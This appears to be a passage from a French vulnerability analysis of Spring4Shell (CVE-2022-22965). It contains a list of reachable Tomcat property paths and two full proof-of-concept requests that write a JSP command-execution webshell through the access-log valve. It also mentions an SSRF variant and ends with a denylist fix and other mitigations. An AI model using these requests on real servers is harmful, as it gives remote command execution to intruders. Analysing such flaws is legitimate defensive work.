class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.container
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.service.container
class.module.classLoader.resources.context.manager.engine.service.domain
class.module.classLoader.resources.context.manager.engine.service.name
class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.basic.container
class.module.classLoader.resources.context.parent.pipeline.basic.domain
class.module.classLoader.resources.context.parent.pipeline.basic.next
class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.buffered
class.module.classLoader.resources.context.parent.pipeline.first.checkExists
class.module.classLoader.resources.context.parent.pipeline.first.condition
class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
class.module.classLoader.resources.context.parent.pipeline.first.container
class.module.classLoader.resources.context.parent.pipeline.first.directory
class.module.classLoader.resources.context.parent.pipeline.first.domain
class.module.classLoader.resources.context.parent.pipeline.first.enabled
class.module.classLoader.resources.context.parent.pipeline.first.encoding
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
class.module.classLoader.resources.context.parent.pipeline.first.locale
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.pattern
class.module.classLoader.resources.context.parent.pipeline.first.prefix
class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.first.rotatable
class.module.classLoader.resources.context.parent.pipeline.first.suffix
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.engine.service.server.address
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
class.module.classLoader.resources.context.manager.engine.service.server.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.port
class.module.classLoader.resources.context.manager.engine.service.server.shutdown
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.next.container
class.module.classLoader.resources.context.parent.pipeline.first.next.domain
class.module.classLoader.resources.context.parent.pipeline.first.next.next
class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
class.module.classLoader.resources.context.manager.engine.service.server.port
En utilisant le class.module.classLoader.resources.context.parent.pipeline on peut définir la propriété de AccessLog, puis on peut utiliser la fonction d'écriture de logs pour écrire un webshell. Voici le POC : ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E


Ou utilisez l'en-tête de requête pour transmettre la valeur du pattern :
* tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
Host: 127.0.0.1:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
Il est également possible d'utiliser class.module.classLoader.resources.context.configFile pour effectuer une SSRF.
Les autres propriétés exploitables nécessitent d'examiner plus en détail le rôle de chaque propriété.
Il est important de noter que la modification des propriétés ci-dessus peut entraîner un redémarrage du service. Par conséquent, si vous testez pour vous-même, ce n'est pas grave, mais ne jamais utiliser ces PoC directement dans un environnement de production, à moins que vous ne compreniez parfaitement et que vous puissiez assumer les conséquences de leur exploitation !!
Dans la méthode de correction de la nouvelle version, il y a principalement deux points pour empêcher le remplacement de variables :
WebDataBinder pour les champs spécifiques via disallowFields :```java
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."};
dataBinder.setDisallowedFields(denylist);
}
}Cependant, cette approche de liste noire peut être contournée ; c'est acceptable temporairement, mais ce n'est pas une solution à long terme.
2. Dans CachedIntrospectionResults, lors de l'obtention de beaninfo, une vérification a été ajoutée, autorisant désormais uniquement la variable name de la classe Class:

**Autres mesures d'évitement:**
1. Les nouvelles versions de Tomcat ont également mis en place des mesures d'évitement. En utilisant initialement la version 8.5.78 de Tomcat, la vulnérabilité n'a pas pu être reproduite. Grâce au débogage, il a été constaté que l'utilisation de class.module.classLoader.resources dans cette version de Tomcat renvoyait des resources vides, rendant l'exploitation impossible. Ainsi, la mise à niveau de la version de Tomcat peut également éviter cette vulnérabilité.
2. Les versions antérieures à JDK 9 ne sont pas affectées par cette vulnérabilité.